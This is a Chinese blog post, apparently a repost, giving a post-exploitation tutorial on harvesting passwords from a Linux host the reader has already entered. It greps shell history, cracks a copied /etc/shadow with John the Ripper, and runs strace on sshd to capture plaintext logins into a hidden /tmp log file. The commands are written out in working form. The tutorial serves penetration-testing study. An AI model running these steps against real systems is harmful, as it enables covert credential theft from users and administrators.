0


Linux密码破解(非远程爆破)

前言:在通过各种手段(如反弹shell 提权)进入到Linux主机系统中,该如何拿到该系统的账号密码呢?

1.history

通过history的记录,看是否有明文输入的密码。

history|grep root #root可改为其他账号名

2.破解shadow文件(john工具)

利用john工具对shadow文件进行破解

将靶机的/etc/shadow文件转移到自己机器上,或者直接在靶机上破解(不推荐)

获取john源码并编译(本文用的john版本为1.9.0,请自行到官网上选择想用的版本)

https://download.openwall.net/pub/

wget https://www.openwall.com/john/k/john-1.9.0.tar.gz
tar -zxvf john-1.9.0.tar.gz
cd ./src
make clean linux-x86-64
cd ../run

1)简单密码文件破解

注:使用了john自带的一个密码文件:password.lst,可以在安装目录中找到

./john /etc/shadow

2)用户名变化密码破解

注:如一个用户名为test,破解诸如 test123 test1等密码。

./john -single /etc/shadow

3)指定密码文件破解

./john -w:/root/pass.txt /etc/shadow   #自定义密码文件/root/pass.txt

john的其他操作

*破解后得到的密码都会存放在john.pot文件中

*异常中断破解后继续破解

./john -restore

*不使用密码字典,字母数字遍历组合

注:对于使用了特殊字符的密码可能无法破解成功,另外需要强悍的性能和大量的时间(所以不推荐在靶机上破解,哈哈)

./john -incremental /etc/shadow

3.strace收集明文密码

监控sshd程序

执行命令:监控300秒内,sshd进程的动作,如果在监控的时间段内有用户登录成功,则有记录。

timeout 300 strace -f -F -p `ps aux|grep "sshd -D"|grep -v grep|awk {'print $2'}` -t -e trace=read,write -s 32 2> /tmp/.sshd.log &

查看结果

grep -E -A1 'read\(6, ".+f\\0\\0\\0\\f.+"' /tmp/.sshd.log

标签: linux 安全

本文转载自: https://blog.csdn.net/qq_42465440/article/details/126270604
版权归原作者 chenguoan-cga 所有, 如有侵权,请联系我们删除。

“Linux密码破解(非远程爆破)”的评论:

还没有评论